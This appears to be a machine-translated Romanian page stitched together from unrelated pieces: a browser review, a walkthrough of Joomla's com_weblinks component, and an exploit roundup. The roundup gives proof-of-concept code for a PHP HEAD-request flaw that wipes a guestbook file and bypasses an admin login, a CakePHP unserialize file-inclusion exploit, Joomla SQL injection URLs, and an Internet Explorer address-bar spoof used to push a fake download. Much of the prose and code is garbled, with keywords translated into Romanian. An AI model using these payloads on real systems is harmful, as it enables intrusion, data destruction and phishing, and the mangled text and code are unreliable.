Annaly linkuri web php. Leaflet pie com_weblinks Joomla

Annaly linkuri web php. Leaflet pie com_weblinks Joomla

Browserul YRC Weblink este creat și extins de compania indiană de software YRC Group Inc. Și de aceea pagina de pornire din spatele site-ului este Google indian :))

Programele indiene sunt considerate una dintre cele mai tari din lume (după cele rusești și chineze), dar nu au noroc cu acest browser, pentru că este doar sacru, nu un browser. Ideile pe care au încercat să le introducă în browser sunt minunate, dar implementarea în sine este foarte proastă. Browserul funcționează „prin fisuri”, ceea ce este uimitor. După ce am încercat yoga în doi pe alte computere- sub Windows 7 și sub Windows 8 - aici și colo sunt erori și îngheț.

Totuși, să mergem în ordine.

Odată instalat, browserul vă solicită să selectați setările (așa cum, de exemplu, puteți vedea în captură de ecran), precum și să creați o înregistrare în cloud pentru sincronizare perfectă și salvare a setărilor, marcajelor, notelor și fișierelor.

Buna idee! Apăs pe mesajul Înregistrare, care înseamnă „Înregistrare”, se deschide un site cu poze haioase, dar se deschide, aparent, nu în YRC Weblink, ci în browserul care e pe computer pentru restul și prima minune. O altă minune este că trebuie să introduceți o mulțime de date - acesta este următorul lucru? De exemplu, în browserul Maxthon, pentru a vă înregistra la un client, trebuie doar să introduceți adresa de e-mail și parola, ceea ce este mult mai simplu, mai convenabil și nu necesită nicio introducere.

Garazd, voi introduce aceste date. Când primesc o foaie de confirmare a înregistrării, o ștampil la livrare, iar site-ul web mă informează „Hopa! - Nu găsesc detaliile dumneavoastră în baza de date”. Încă o dată, o altă foaie de hârtie sosește dintr-o postare nouă, o voi imprima pe postare într-una nouă și nouă – Hopa! Cu toate acestea, în acest proces, sosește a treia foaie și scrie acolo - a dispărut, înregistrarea dvs. cloud de confirmări! Aceasta este o verificare unică a contului indian.

Deschid browserul, îl configurez și încerc să import marcaje. Browserul nu descarcă fișierul marcajului în format .html, pe care toate browserele din casa mea îl pot descărca, înțelege și accepta fără probleme. Introduc numele fișierului manual, dau clic pe Import și selectez titlul - marcajele sunt importate cu succes!

Unde au fost importate cu succes? Nici browserul, nici cloud-ul nu le au. Repet operatia inca o data si acelasi rezultat. Am trecut de Garazd. Ne prăbușim.

În starea de spirit și ajustări există un element Note. Amintindu-mi notele din browserul Maxthon, care pot fi create folosind un notepad personalizat și care sunt salvate automat în întuneric, încerc să găsesc ceva asemănător cu YRC Weblink, din păcate, fără niciun rezultat. Nu există nicio revizuire a notelor, dar nu există niciun instrument pentru crearea lor. Minunat? La naiba!

Bine. Mă întreb ce se mai poate întâmpla. La instalare, browserul va instala singur două comenzi rapide pe desktop (fără descărcare) - o comandă rapidă pentru browser (nu este normală) și o comandă rapidă Twitter.

Când faceți clic pe această comandă rapidă, se va deschide lângă fereastra browserului dvs. din Twitter. Ce fel de diavol trebuie să faci ca să te îmbraci? Poate că nu mă încurc cu Twitter? Garazid, am văzut scurtătura Twitter de pe birou și a dispărut! Acum, când faceți clic pe comanda rapidă a browserului (nu Twitter), panoul browserului va afișa Twitter! Nu am mai auzit în viața mea o astfel de eroare de Crăciun!

Înainte de discurs, despre cele trei ferestre pe care le vedeți pe captură de ecran. Fereastra Rezumat se blochează de fiecare dată. Mai mult, poate fi șters doar printr-un proces conectat în Job Manager, altfel - în niciun caz. Puteți închide fereastra de sincronizare fără a vă deconecta din sistem.

De îndată ce apăsați pe „Ні”, îl vom deschide continuu. Mai mult decât atât, browserul în sine, totuși, se blochează uneori involuntar. Și ce este amuzant: browserul se blochează, dar fereastra Rezumat este deschisă și deschide fereastra Sincronizare - nu, doar stai, abandonat de browser, până când le dezactivați din Managerul de activități. Defecțiuni fabuloase!

Cu toate acestea, ar fi greșit să nu ne exagerăm și aspecte pozitive ale browserului.

În primul rând, acesta este un mod de navigare anonim. Când acest mod este configurat, browserul nu folosește memoria cache, cookie-urile și nici nu înregistrează istoricul de navigare. Și browserele care funcționează doar în acest mod, de exemplu, Browzar, care uneori este necesar, dar în general foarte ineficient. Iar capacitatea de a vă conecta cu ușurință la acest mod este un mare plus pentru browser.

Într-un alt mod, YRC Weblink are capacitatea de a alege sistem audio pentru a te pregăti. Alege, totuși, trebuie să ajungi la o anumită listă:

Cu toate acestea, adrese aparat de sunetÎl puteți seta manual făcând clic pe Definiți nou pe copie (nu este vizibil pe captură de ecran, este sub listă).

Ei bine, restul, dar și un foarte mare plus. YRC Weblink nu poate interfera cu sistemul! Pentru a egaliza deschiderile, aveți 10 file și 10 file cu aceleași adrese în browserul Yandex (lider printre browserele dintr-un sistem popular) și aceasta este imaginea.

Browser Yandex:

Nu este important să ghicim că YRC Weblink are o poziție practică de competiție pentru bun simț.


REZUMAT. Dacă ne-am gândi cu toții la ce încearcă creatorii să facă în acest browser, era nevoie, fără preț, YRC Weblink ar putea pretinde titlul celui mai scurt sau, cel puțin, unul dintre cele mai scurte browsere. Dar, având în vedere aceste deficiențe, de care se feresc, nu este tentant să arătăm spre „trei”. Iti dau un rating 3- .

După testare, dezinstalez browserul - nu este absolut nevoie de un astfel de program cu erori pe computer. Ei bine, consultați YRC Group Inc. pentru o notificare suplimentară. Fie ca programele indiene să remedieze toate deficiențele și să lanseze o versiune cu adevărat funcțională a browserului, spre onoarea și lauda lor. Ei nu pot - lumea va avea încă un browser mort.

Să aruncăm o privire la modul în care funcționează componenta de bază Weblinks în partea administrativă a unui site web. Această componentă, tipică pentru această parte a site-ului web, chiar similară cu alte componente, este utilizată pentru a gestiona articole, conținut, module etc.

Supraasigurare mai redusă fișiere de program a acestei componente. Tata are toate aceste fișiere administator/components/com_weblinks. În această secțiune, numele tuturor fișierelor din componenta Weblinks vor fi corelate cu folderul original, dacă nu se specifică altfel. Majoritatea fișierelor sunt organizate în spatele șablonului MVC. Zokrem, toate fișierele aplicației sunt situate în subfolderul aplicației, iar toate fișierele principale ale modelelor și controlerelor sunt situate în subfolderele modelelor și controlerelor. De asemenea, va trebui să actualizați fișierele de instalare, configurare și suplimentare.

Dosare administrativeLink-uri web, inclusiv fișiere index.html

  • controllers/weblink.php - Controler principal pentru editare Controler unic de legătură web
  • controllers/weblinks.php - Controlerul principal pentru afișarea listei de link-uri web pe ecranul Weblinks Manager.
  • helpers/weblinks.php - Speranță metode diferite, ce să te implici în controlori și declarații
  • models/fields/ordering.php - Afișare model JformField pentru comandarea mesajelor web pe ecranul Weblinks Manager
  • models/forms/weblink.xml - fișier XML care este vicorizat în clasa Jform-Model Field, pentru marcarea formularului cu câmpuri de intrare și editarea mesajelor web pe ecran
  • models/weblink.php - Model pentru un singur formular de ecran Model de link Web
  • models/weblinks.php - Model pentru formularul de pe ecran al modelului de link Web al dispecerului
  • sql/install.mysql.utf8.sql - fișier SQL pentru tabelul pliat al postării web la momentul instalării
  • sql/uninstall.mysql.ut8.sql - fișier SQL pentru ștergerea tabelului mesajului web la momentul instalării
  • tables/weblink.php - Modelul clasei Nada
  • views/weblink/tmpl/edit_metadata.php - Fișier de aspect de ieșire pentru editarea metadatelor mesajelor web

Partea administrativă a componentei Weblinks

  • views/weblink/tmpl/edit_params.php - Fișier de aspect de ieșire pentru editarea opțiunilor de selecție pentru un singur mesaj web
  • views/weblink/tmpl/edit.php - Fișier de aspect de ieșire pentru editarea unui mesaj web
  • views/view.html.php - Clasa de aplicație principală pentru afișarea unui singur mesaj web în format HTML.Fișier de aspect de ieșire pentru managerul de mesaje web.
  • views/weblinks/view.html.php - Clasa aplicației principale pentru afișarea comunicațiilor web în format HTML direct pe ecranul Weblinks Manager
  • access.xml - fișier XML care oferă o listă de acțiuni pentru sistemul de liste de control al accesului (ACL).
  • config.xml - fișier XML care oferă o listă de opțiuni pentru alegerea unei configurații de componentă
  • controller.php - Clasa de controler principal
  • weblinks.php - Punctul de intrare pentru întrebări
  • weblinks.xml - fișier XML care este utilizat pentru a controla procesul de instalare

Speckle intrare la Joomla! componenta este similară cu majoritatea componentelor. În acest scop, vom folosi una dintre componentele nucleului Joomla – Web Links (Postare pe site). Primul fișier care va fi folosit de front-end este: …/components/com_weblinks/weblinks.php.

În primul rând, trebuie să verificăm securitatea, care are scopul de a se asigura că nimeni nu poate face clic direct pe această pagină. Acesta este standardul care poate fi folosit în toate fișierele dvs. php (cu câteva vine):

Verificăm rândul de intrări pentru a vedea ce melodie a fost scrisă pe numele controlerului. Deci, ne uităm la ce putem atrage dosar necesar de la controlori:

// Solicită un controler specific dacă este solicitat if ($controller = JRequest::getWord("controller") ) ( $cale = JPATH_COMPONENT. DS. "controlere" . DS. $controller . ".php" ; if (fișier_există ($cale ) ) ) ( require_once $cale ; ) else ( $controller = "" ; ) )

Acum creăm o copie pentru clasa controlerului nostru, nume vikorist, deoarece acestea înseamnă mai mult:

De îndată ce este ascuns, cu siguranță îl vom redirecționa dacă apare:

// Redirecționare dacă este setată de controler$controller -> redirect();

Clasa de controler

Controlerul original (caracteristic) al componentei poate fi găsit aici: …/components/com_weblinks/controller.php.
Întreaga clasă înseamnă metoda de afișare, care se află în culise, deoarece nu înseamnă nimic altceva (sarcină).

definit ("_JEXEC" ) sau die ("Acces restricționat" ); jimport( „joomla.application.component.controller”) ; /** * Weblinks Component Controller * * @pachet Joomla * @subpackage Weblinks * @din 1.5 */ clasa WeblinksController extinde JController ( /** * Metoda de a afișa o vizualizare a link-urilor web * * @access public * @de la 1.5 */ afisare functie() ( // Setați o vizualizare implicită dacă nu există dacă ( ! JRequest:: getCmd ( „vizualizare”) ) ( JRequest:: setVar ( „vizualizare” , „categorii” ) ; ) //actualizează numărul de accesări pentru link-ul web if (JRequest:: getCmd ("vizualizare" ) ​​== "weblink" ) ( $model =& $this -> getModel ( "weblink") ; $model -> hit () ; ) // Vizualizați logica de stocare în cache -- simplu... suntem conectați?$utilizator = &JFactory::getUser() ; $view = JRequest::getVar("vizualizare"); $viewcache = JRequest::getVar("viewcache", "1", "POST", "INT"); if ($user -> get ("id") || ($view == "categorie" && $viewcache == 0 ) ) ( părinte:: afișare (fals) ; ) else ( părinte:: afișare (adevărat) ; ) ) )

Cu această metodă setăm tipul (depunerea) pentru spălare: afișarea categoriei, dacă alt tip nu a fost trecut ca parametru la comandă. Dacă vizualizarea necesară este un link web, vom crește importanța medicului de a revizui mesajul. Apoi setăm valoarea aspectului modificabil și facem clic metoda de afișare a clasei tatălui nostru JController.
Varto face clic pe metoda getModel. Vіn atrage necesarul model pentru componentă. La ce folosește această metodă pentru a folosi modelul de link-uri web, care poate fi găsit aici: …/components/com_weblinks/models/weblink.php.
Aici înțelegem că nu am fost hrăniți cu cântecul de manifestare, și de aceea tipul nostru de stabiliment va fi în categorie.
Apoi deschidem clasa manifestării.

Vizualizați clasa

Deci, presupunem că vrem să fim reprezentați de o categorie, deci următorul fișier va fi următorul: …/components/com_weblinks/views/categories/view.html.php

// Verificați pentru a vă asigura că acest fișier este inclus în Joomla! definit("_JEXEC") sau die ("Acces restricționat"); jimport( „joomla.application.component.view”) ; /** * Clasa HTML View pentru componenta WebLinks * * @static * @package Joomla * @subpackage Weblinks * @din 1.0 */ clasa WeblinksViewCategories extinde JView ( function display( $tpl = null ) ( global $mainframe ; $document =& JFactory:: getDocument () ; $categories =& $this -> get ( "date" ); $total =& $this -> get ("total"); $state =& $this -> get ("state"); // Obține configurația paginii/componentelor$params = & $mainframe -> getParams(); $meniuri = &JSite::getMenu(); $meniu = $meniuri -> getActive(); // deoarece aplicația setează un titlu de pagină implicit, trebuie să-l obținem // chiar din elementul de meniu în sine if (este_obiect ( $meniu ) ) ( $menu_params = new JParameter( $meniu -> parametri ) ; if (! $menu_params -> get ( "page_title") ) ( $params -> set ( "page_title" , JText:: _( „Legături web” ) ) ; ) ) else ( $params -> set ( „page_title” , JText:: _( „Web Link-uri”) ) ); ) $document -> setTitle ( $params -> get ( „page_title”) „)); // Setați unele valori implicite dacă nu sunt setate pentru parametri$params -> def ("comp_description" , JText:: _("WEBLINKS_DESC" ) ) ; !} // Definiți atributele etichetei imaginii if ($params -> get ("imagine" ) != - 1 ) ( if ($params -> get ("image_align" ) != "" ) $atribs [ "align" ] = $params -> get (" image_align" ); else $atribs [ "align" ] = "" ; $atribs [ "hspace" ] = 6 ; // Folosiți biblioteca HTML statică pentru a construi eticheta de imagine$image = JHTML:: _("imagine" , "imagini/povestiri/" . $params -> get ("imagine") , JText:: _("Web Link-uri" ) , $atribs ) ; ) pentru ($i = 0; $i< count ($categories ) ; $i ++ ) { $category =& $categories [ $i ] ; $category ->link = JRoute::_( „index.php?option=com_weblinks&view=category&id=". $categorie -> slug); // Pregătește descrierea categoriei$categorie -> descriere = JHTML:: _("conținut.pregătiți" , $categorie -> descriere ) ; ) $this -> assignRef(„imagine”, $imagine); $this -> assignRef("params", $params); $this -> assignRef("categorii", $categorii); parent::display($tpl); ) ) ?>

Știu că aceasta este o clasă foarte simplă, cu o singură metodă de afișare. Cea mai mare parte a logicii de aici este specifică componentei mesaj, dar s-ar putea să fii surprins să vezi că funcționalitatea este unică pentru majoritatea claselor de expresie a componentelor. De exemplu, pentru metoda de afișare, această clasă se numește Batkovsky metoda de afișare (JView)., dând un nume șablonului pentru imagine. Deoarece numele șablonului de afișare nu este suprautilizat, se folosește șablonul implicit.
Și restul, deschidem clasa la șablon.

Clasa șablon

Este clar că numele melodiei nu a fost transferat în șablon, așa că șablonul va fi înlocuit cu cel „implicit”. Iată o privire rapidă la următorul fișier: …/components/com_weblinks/views/categories/tmpl/default.php
-> escape ($this -> params -> get ("page_title")); ?>

params -> def ("imagine", - 1)! = - 1) | $this -> params -> def ("show_comp_description" , 1 ) ) : ?>
imagine ) ): echo $this -> imagine ; endif; echo $this -> params -> get ("comp_description" ); ?>
    categorii ca $category ) : ?>
  • escape($categorie -> titlu); ?> (legături numerice; ?>)

Cea mai mare parte a logicii de aici este specifică componentei înfășurate. De asemenea, puteți vedea din cod că acest fișier conține tot HTML, amestecat cu PHP - acestea sunt caracteristicile specifice.

Alte fișiere care pot fi curatate în componente

Puteți găsi o serie de alte tipuri de fișiere în componente:

  • Helpers - cele mai frecvent utilizate componente au un fișier helper.php sau un director helpers cu o mulțime de fișiere. Aceste dosare cer răzbunare din subteran capabilități funcționale pentru componente.
  • Active - acesta pare a fi un folder general pentru alte fișiere care ar trebui să fie incluse înainte de componentă.
  • router.php - acest fișier este vikorizat, cu personalizarea URL SEF activată, pentru a traduce URL-ul în ambele direcții (în mintea umană cu aliasuri și în vizualizarea sistemului Joomla cu parametri).
  • fișiere xml - sunt folosite pentru a specifica parametrii și alte informații despre componentă și prezentarea ei de ansamblu. De exemplu, îl puteți folosi pentru a crea elemente în meniul componentelor.
  • index.html - o practică bună este să aveți un fișier index.html gol în toate directoarele dvs. Aceasta este o abordare atât de pasivă a siguranței.
  • css/images/js - foldere care conțin diferite fișiere pentru a implementa design și funcționalitate pe partea client (în browser).

În luna curentă, cercetătorii de bug-uri nu vor să ne răsfețe cu noi exploituri stupide. suplimente populare. Desigur, a fost publicat un aviz anonim pentru produse de la companii de vârf, deoarece capacitatea acestora de a conține coduri PoC manuale este foarte mică. În recenzia noastră, am încercat să aleg cele mai semnificative și mai importante implicații din descrierile din restul timpului, astfel încât să fiți mai atent și să vă bucurați de lectură.

Flux PHP în timpul procesării solicitărilor HTTP Head

Scurt

3 Bereznya Adam Ivanyuk a identificat o problemă în interpretul PHP, care nu procesează corect interogările HEAD. Acesta este ceea ce cercetătorul a numit „truc cu metoda HTTP HEAD în scripturile php”.

Mulți programatori își dezvoltă scripturile PHP, asigurându-se că toate instrucțiunile scrise în ele sunt finalizate cu succes fără a se întrerupe la mijloc (mai ales în scripturi scurte). Așa se dovedește că scriptul este transmis utilizatorului final folosind metodele GET, POST, PUT.

Este posibil să știți, de asemenea, că există și alte metode HTTP - de exemplu, HEAD. Când încercați această metodă în PHP, este posibil să aveți o problemă.

Una dintre ieșirile interpretului este vizibilă: ./main/SAPI.c, linia 315:

dacă (SG(request_info).request_method &&
!strcmp(SG(request_info).request_method, "HEAD"))
{
SG(request_info).headers_only = 1;
...

Dacă se găsesc date, funcția php_ub_body_write este executată. În continuare vedem main/output.c, linia 699:

dacă (SG (request_info).headers_only) (
if(SG(headers_trimis))
{
întoarce 0;
}
php_header(TSRMLS_C);
zend_bailout();
}

Aici puteți vedea că atunci când este afișată pentru prima dată pe ecran și când este selectată metoda HEAD, funcția zend_bailout întrerupe scriptul.

Exploata

$line="Nick: ".htmlspecialchars
($_POST[„nick”]).”

Text: „.htmlspecialchars
($_POST[„text”]).”


";
$f=fopen("carte.txt","r");
$date=fread($f,fi lesize("book.txt"));
fclose($f);
$f=fopen("carte.txt","w");
$date=$line.$date;
echo $date;
fwrite($f,$date);
fclose($f);
?>

Acum să ne uităm la acest script pentru ajutorul metodei HEAD:

stream_context_get_default
(array("http"=>array("metoda"=>"HEAD")));
print_r(get_headers("http://site.com/guestbook.php"));
?>

De îndată ce urma este șters, cartea noastră de oaspeți își va pune numele în rândul „echo $data;”, astfel încât fișierul book.txt va fi pur și simplu resetat la zero.
Acest fund este distructiv în natură. Pentru o altă aplicație, este posibil să ocoliți autorizarea de la un administrator primitiv:

sesiune_start();
echo „Un șir lung conține aproximativ 4090 de caractere”;
$_SESSION[„admin”]=1;
dacă (!isset($_POST["trece"]) ||
$_POST["pass"]!="o parolă")
{
ecou" Parolă greșită sau goală.
";
$_SESSION["admin_level"]=0;
}
?>

În care toate scripturile sunt instalate în sesiune în cele mai potrivite moduri atunci când sunt lansate. Apoi, dacă un utilizator introduce parola greșită, modificarea este resetată și utilizatorul nu devine administrator.

Dacă mergem la panoul de administrare prin HEAD, vom fi întrerupți de codul cu ecou, ​​în acest fel variabila administrativă nu va fi resetată, și putem naviga liniștiți prin partea închisă a programului. Aici trebuie să ne amintim că majoritatea serverelor web au valori de buffering de ieșire setate la 4096 de octeți, așa că într-o aplicație de producție este posibil să avem nevoie de rândul „Un șir lung conține aproximativ 4090 de caractere”.

Exploata

  • PHP<= 5.3.5

Soluţie

La momentul publicării, versiunea rămasă de PHP era versiunea 5.3.5. Nu are multe remedieri pentru a remedia această eroare, așa că aș putea la fel de bine să mă uit bine la ieșirea scripturilor dvs. pentru a evita orice situații netransferabile când folosesc metoda HEAD.

Vikonannya următorului cod în CakePHP

Scurt

CakePHP este cel mai popular cadru de software (mai mult de 7.000.000 de căutări Google) pentru crearea de site-uri web, scrierea PHP personalizat și lucrul pe principiile software-ului open source. CakePHP implementează modelul Model-View-Controller (MVC).

Inițial, acest cadru a fost creat ca o clonă a popularului Ruby on Rails și au existat o mulțime de idei în spatele lui:

  • Structura proprie de fișiere;
  • suport pentru impersonalitatea pluginurilor;
  • abstracția datelor (PEAR::DB, ADOdb și vlasna rozrobka Cake);
  • suport pentru mai multe SGBD (PostgreSQL, MySQL, SQLite, Oracle).

Nu este surprinzător că un astfel de produs software remarcabil a primit atenția multor pentesteri. Nu cu mult timp în urmă, o persoană pe nume Felix a descoperit un bug în acest cadru, legat de metodele magice și de utilizarea funcției unserialize (citește un raport despre această clasă de bug-uri în numerele minore ale revistei).

Pentru prima dată, deschidem componentul./libs/controller/components/security.php și căutăm următorul cod, care este responsabil pentru protejarea atacului XSRF folosind solicitări POST suplimentare:

funcția _validatePost(&$controller)
{
...
$verificare = $controller->date;
$token = urldecode($check["_Token"]["campuri"]);
dacă (strpos($token, ":")) (
list($token, $blocat) = explode(":", $token, 2);
}
$blocat = unserialize(str_rot13($blocat));
...
?>

Aici matricea $check este folosită pentru a elimina datele noastre POST, iar matricea $locked este folosită pentru a ofusca rândul de serializare, care se află în întregime sub controlul nostru, folosind funcția suplimentară str_rot13().

În acest moment, am dori să creăm o mică introducere pentru cei care nu au citit articolele suplimentare din ][ și să informăm pe scurt despre bug-ul care apare în fermecătoarele metode PHP. Ozhe, y versiuni PHP 5, a fost introdus conceptul de bază al programării OOP: constructor și destructor. Constructorul este implementat folosind metoda „__construct”, iar destructorul este implementat folosind metoda „__destruct”. După finalizarea lucrării, la apelarea prin funcția unserialize(), obiectul își va executa propria metodă __destruct, așa cum este specificat în cod.

Acum să ne întoarcem la cadrul nostru și să ne uităm la destructorul clasei App din fișierul ./libs/configure.php:

funcția __destruct()
{
if ($this->__cache)
{
$core = App::core(„tort”);
unset($this->__paths);
Cache::write("dir_map", array_fi lter($this->__paths),
"cake_core");
Cache::write("fi le_map", array_fi lter($this->__map),
"cake_core");
Cache::write("object_map", $this->__objects,
"cake_core");
}
}

Din codul dat poți înțelege asta Metoda daneză Este posibil ca o modalitate de a scrie mai multe valori în obiectul Cache să fie compromisă. Cea mai bună cheie pentru cel rău este „file_map”. Face conexiuni între clase și fișierele PHP aferente și este, de asemenea, folosit pentru a adăuga clase suplimentare la script.

Codul real pentru încărcarea claselor pare puțin mai complicat, dar totul se reduce la codul pentru metoda __load din mijlocul clasei App:

...
if (file_exists($fi le)) (
dacă (!$acest->întoarce) (
require($fi le);
$this->__loaded[$fi le] = true;
}
returnează adevărat;
...
?>

Bingo! Schimbând fișierul $, putem promova vechiul tău cod PHP! În plus, dacă eroarea de includere a fișierelor la distanță este corectă, nu vom avea nevoie de toate trucurile suplimentare de la atracții fisiere locale la server. Cu toate acestea, autorul versiunii găsite promovează o opțiune LFI pentru exploatarea acestui director, deoarece CakePHP utilizează un cache local care se bazează pe fișiere care sunt în formă serializată într-un director cunoscut atacatorului. .

Exploata

Ca un mic PoC pentru generarea unei serii serializate, Felix introduce următorul cod:

$x=noua aplicatie();
$x->__cache=1;
$x->__map=array("Core" => matrice(
"Router" => "../tmp/cache/persistent/cake_core_fi le_map"),
"Foo" => "");
$x->__paths=array();
$x->__obiecte=array();
echo serialize($x);
?>

Desigur, este responsabilitatea dumneavoastră să includeți în prealabil cursurile necesare de la CakePHP. Există, de asemenea, un exploit complet funcțional în Python, îl puteți găsi la malloc.im/burnedcake.py.

Acest exploit se bazează pe un add-on dezvoltat pe CakePHP, care utilizează formulare POST cu jetoane de securitate și nu modifică stocarea standard a fișierelor cache. Implicit, exploit-ul afișează configurația bazei de date pe ecran; alte caracteristici pot fi adăugate cu ușurință prin modificarea încărcăturii PHP instalate.

Ținte

  • CakePHP<= 1.3.5, CakePHP <= 1.2.8

Soluţie

Pentru a corecta eroarea descrisă, trebuie doar să descărcați versiunea rămasă a pluginului CakePHP pe care o utilizați de pe site-ul web cakephp.org.

Descoperirea căilor și potențialelor intrări SQL ale Joomla!

Scurt

Joomla este un sistem de management, scris în limbaje PHP și JavaScript și este similar cu baza de date MySQL. Software gratuit care este distribuit sub licența GNU GPL.

Dacă nu ești blocat cu activitatea ta de hacker cu Joomla!, atunci pur și simplu trăiești pe o altă planetă :). În acest sens, vreau să vă informez despre două potențiale injecții SQL în diferite motoare Jumli, care au fost lăsate nemarcate și nedezvoltate.

Ei bine, prima injecție a fost dezvăluită de băieții YGN Ethical Hacker Group (yehg.net/lab) în versiunea de motor 1.5.21.

După cum scriu cercetătorii, potențialele intrări SQL au fost identificate de ei în Joomla! 1.5.20 la granițele de urmărire pe XSS. Aceste erori au fost raportate în secret echipei de dezvoltare a motoarelor, care a lansat imediat o versiune „patchată” 1.5.21. Cuvântul „petice” era în labele lor, fragmentele dezvoltatorilor au turtit ochii majorității consilierilor echipei YEHG și erau convinși că această versiune nu era complet utilizabilă, așa că Joomla! Pot fi instalate filtre de siguranță pe rând.

Drept urmare, excavatoarele au dezvăluit detaliile exploatării potențialelor infecții SQL într-o gamă largă, ceea ce este extrem de rapid.
Deci, deschideți fișierul./components/com_weblinks/models/category.php și găsiți următorul cod:

funcția _buildQuery()
{
$fi lter_order = $this->getState("fi lter_order");
$fi lter_order_dir = $this->getState("fi lter_order_dir");
$fi lter_order = JFilterInput::clean($fi lter_order, "cmd");
$fi lter_order_dir =
JFilterInput::clean($fi lter_order_dir, „cuvânt”);
// Trebuie să obținem o listă cu toate
// linkuri web în categoria dată
$interogare = "SELECT *" .
„DIN #__linkuri web”.
"UNDE catid = ". (int) $this->_id.
„ȘI publicat = 1” .
„ȘI arhivat = 0”.
„COMANDAȚI DE”. $fi lter_order „”.
$fi lter_order_dir .", ordonare";
returnează $interogare;
}

Aici puteți vedea că modificările $filter_order și $filter_order_dir nu trec verificarea coerenței cu instrucțiunile SQL; verificarea se face fără metoda clean standard din clasa JFilterInput:

...
caz „CUVENT”:
$rezultat = (șir) preg_replace("/[^A-Z_]/i", "", $sursă);
pauză;
...
cazul "CMD":
$rezultat = (șir)
preg_replace("/[^A-Z0-9_.-]/i", "", $sursa);
$rezultat = ltrim($rezultat, ".");
pauză;
...

Cu acest ordin, implicit, vom nega ascensiunea nobililor. Un bug similar chiar în aceste modificări a apărut recent în prima versiune a motorului cu noul 1.6.

Exploata

Din cauza implicită, putem scăpa rapid de Joomla!<= 1.5.21:

  • /index.php?option=com_weblinks&view=category&id=2&fi lter_order_Dir=&fi lter_order=%00"
  • /index.php?option=com_weblinks&view=category&id=2&fi lter_order_Dir="&fi lter_order=asc

asta în Joomla! 1.6.0:

  • attacker.in/joomla160/index.php/using-joomla/extensions/components/content-component/article-category-list/?fi lter_order=yehg.net.AAAAAAAAAAAAAAAAAAA,&fi lter_order_Dir=2&limit=3&listart=
  • attacker.in/joomla160/index.php/using-joomla/extensions/components/content-component/article-category-list/?fi lter_order=1,&fi lter_order_Dir=yehg.net.BBBBBBBBBBB,&limit=3&limitstart=4

Cu toate acestea, puteți detecta rapid aceste erori în instalările Jumli deja instalate în contextul motorului avansat: trebuie mai întâi să eliminați filtrele JFilterInput::clean din filter_order_Dir și filter_order, după care puteți fi modificat.

Există, de asemenea, informații importante că unii oameni vinovați au putut încă să ocolească aceste filtre nefericite, dar exploit-ul a fost păstrat în intimitate profundă.

Ținte

  • Joomla!<= 1.5.21, Joomla! 1.6.0

Soluţie

Ca întotdeauna, nu uitați să urmăriți site-ul oficial al retailerului joomla.org. La momentul scrierii, mă uit la versiunile rămase ale acestui CMS: 1.5.22 și 1.6.0.

Modificarea rândului de adresă în Microsoft Internet Explorer

Scurt

Vreau foarte mult să vă povestesc despre un mic și extrem de amuzant bug în IE, care a fost descoperit de un hacker sub numele de cyber flash. Această eroare permite unui utilizator de la distanță să lanseze un simplu atac de falsificare.

Iritabilitatea apare după împrospătarea panoului rândului de adrese a ferestrei de scurgere. De asemenea, puteți utiliza o pagină web special concepută pentru a permite browserului dvs. să afișeze doar ultima parte a adresei din rândul adresei.

Exploata

De exemplu, prin înlocuirea rândului de adresă, autorul însuși introduce următorul cod HTML PoC:


content="text/html; charset=windows-1252">

Spoof



Faceți clic oriunde pe această pagină!

Cyber ​​​​flash ne oferă, de asemenea, o pagină gata făcută cu un cod PoC pentru testare la keyloggeronline.com/misc/temp/about.htm.

Odată ce sunteți pe această pagină, vă rugăm să ne scrieți și să ne rugăm să accesăm bing.com. După ce am apăsat pe postare, aproape am vărsat fereastra, în rândul căreia va fi listat acest Bing. Mai jos este un alt mesaj care te invită să folosești noul Internet Explorer (mai mult, trecând cursorul pe „Descărcare”, nu vom vedea nimic suspect, pentru că acolo nu există o versiune nouă a browserului, ci un pseudo-troian program de la Cyber ​​​​Flash).
În acest fel, răufăcătorul poate strecura cu ușurință dosarul malefic dragului Măgar.

Ținte

  • MS Internet Explorer 7, 8, 9

Soluţie

Momentan, alții încă nu au corectat spillover-ul descris, astfel încât, așa cum vikorystvoyesh IE, în miezul lumii oră-timp, Rajah va fi respectat cu ferestre necunoscute, care ar trebui să fie îmbinate.

 

 

Tse tsikavo: